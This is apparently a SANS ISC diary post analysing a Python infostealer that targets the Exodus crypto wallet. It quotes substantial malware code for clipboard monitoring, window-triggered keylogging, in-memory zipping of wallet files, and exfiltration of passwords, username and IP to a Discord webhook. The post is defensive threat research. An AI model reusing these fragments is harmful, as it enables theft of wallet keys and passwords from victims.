Fileless Python InfoStealer Targeting Exodus

Published: 2025-01-28. Last Updated: 2025-01-28 07:12:45 UTC
by Xavier Mertens (Version: 1)
0 comment(s)

Exodus is a well-known crypto wallet software[1] and, when you are popular, there are chances that attackers will target you! I already wrote a diary related to this application[2]. Yesterday, I found a new one that behaves differently. My previous diary described a Python script that will patch the original Exodus software. Today, it’s a real “info stealer”.

The file has been discovered with the name “steal.py” and has a score of 8/56 on VirusTotal[3] (SHA256: 160f9f71ff722c4bad8bd9108c579f1cc585f0811fa2e9525de95e0fb2ba2aa0). It has many interesting capabilities. Let’s review them.

First, it starts by implementing a clipboard monitoring thread:

def monitor_clipboard():
    global clipboard_content, clipboard_updated
    clipboard_content = ""
    clipboard_updated = False

    while True:
        current_content = clipboard.paste()
        if current_content != clipboard_content:
            clipboard_content = current_content
            clipboard_updated = True
        time.sleep(0.5)
[...]
clipboard_thread = threading.Thread(target=monitor_clipboard, daemon=True)
clipboard_thread.start()

Indeed, there are chances that the victim will have the wallet password stored in his/her password manager.

A second thread is started to listen to keyboard events. It’s not a simple keylogger because, depending on the key pressed, it will perform different actions. Example when the victim pressed CTRL-V (Paste):

listener_thread = threading.Thread(target=event_listener, daemon=True)
listener_thread.start()
[...]
    elif event.name == "v" and keyboard.is_pressed("ctrl") and not ctrl_v_processed:
        # Handle Ctrl+V for pasting clipboard content
        ctrl_v_processed = True
        if clipboard_updated:
            clipboard_updated = False
            pasted_content = clipboard_content.strip()
            print(f"Using clipboard content (Ctrl + V): {pasted_content}")
            captured_keys.clear()  # Clear current input
            captured_keys.extend(list(pasted_content))  # Append clipboard content to captured keys
            print(f"Updated input after paste: {''.join(captured_keys)}")

Another nice feature is the “fileless” behavior of the Python script. A fileless malware tries to reduce as much as possible their footprint in the filesystem. In this script, all data are processed in memory before being exfiltrated:

exodus_zip = compress_directory_in_memory(exodus_wallet_path)
[...]
def compress_directory_in_memory(source_dir):
    zip_buffer = io.BytesIO()
    with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zipf:
        for root, dirs, files in os.walk(source_dir):
            for file in files:
                file_path = os.path.join(root, file)
                arcname = os.path.relpath(file_path, source_dir)
                zipf.write(file_path, arcname)
    zip_buffer.seek(0)  # Move to the beginning of the buffer
    return zip_buffer

In the same way, data stored in memory are exfiltrated through Discord:

def send_file_with_text_in_memory(webhook_url, file_buffer, file_name, additional_message=""):
    content = f"**User:** {get_username()}\n**IP:** {get_ip()}\n{additional_message}"
    files = {"file": (file_name, file_buffer, "application/zip")}
    data = {"content": content}
    try:
        response = requests.post(webhook_url, data=data, files=files)
        response.raise_for_status()
        print("File and text sent successfully.")
    except Exception as e:
        print(f"Failed to send file: {e}")

How is Exodus targeted? First, the script checks the existence of “passphare.json”:

passphrase_file = os.path.join(exodus_wallet_path, 'passphrase.json')

This is the keystone file that contains the victim’s encrypted private key. The script assumes that the wallet is not protected by a password and it exfiltrates everything, including the JSON file. If not file is found, the keylogger will be used to capture the victim’s password.

To achieve this, it waits for the password prompt window:

while True:
    if is_exodus_password_prompt_active():
        print("Password prompt detected.")
        start_exodus_wallet_keylogging()
    elif is_exodus_main_wallet_active():
        print("Main Exodus wallet window detected.")
        break
    time.sleep(1)
[...]
def is_exodus_password_prompt_active():
    windows = gw.getAllTitles()
    for title in windows:
        if re.search(r"Enter password", title, re.IGNORECASE):
            return True
    return False
[...]
def is_exodus_main_wallet_active():
    windows = gw.getAllTitles()
    for title in windows:
        if re.search(r"EXODUS", title, re.IGNORECASE):
            return True
    return False

When the window has the focus, the keylogger is started.

Note that the script checks if the password is correct:

start_time = time.time()
password_correct = False
while time.time() - start_time < 2:  # Wait for up to 2 seconds
    if is_main_exodus_window_open():
        password_correct = True
        break
    if is_error_message_displayed():
        print("Invalid password detected. Waiting for user to retry...")
        break
    time.sleep(0.5)

if password_correct:
    print("Password confirmed. Sending password...")
    send_embed_with_uploaded_file(
        webhook_url,
        title="Exodus Password Captured",
        description="A valid password has been captured successfully for Exodus.",
        color=16711680,
        fields=[
            {"name": "Password", "value": password, "inline": False},
            {"name": "PC Username", "value": get_username(), "inline": True},
            {"name": "IP Address", "value": get_ip(), "inline": True},
        ]
    )
    password_submitted = True  # Mark password as submitted
    break

Of course, the script will be probably delivered obfuscated to bypass classic security controls... Or, it will be part of a deeper attack and will be launched manually by the attacker because it does not implement any persistence mechanism.

[1] https://www.exodus.com
[2] https://isc.sans.edu/forums/diary/Python+Infostealer+Patching+Windows+Exodus+App/31276
[3] https://www.virustotal.com/gui/file/160f9f71ff722c4bad8bd9108c579f1cc585f0811fa2e9525de95e0fb2ba2aa0/details

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 comment(s)
ISC Stormcast For Tuesday, January 28th, 2025 https://isc.sans.edu/podcastdetail/9298

Comments


Diary Archives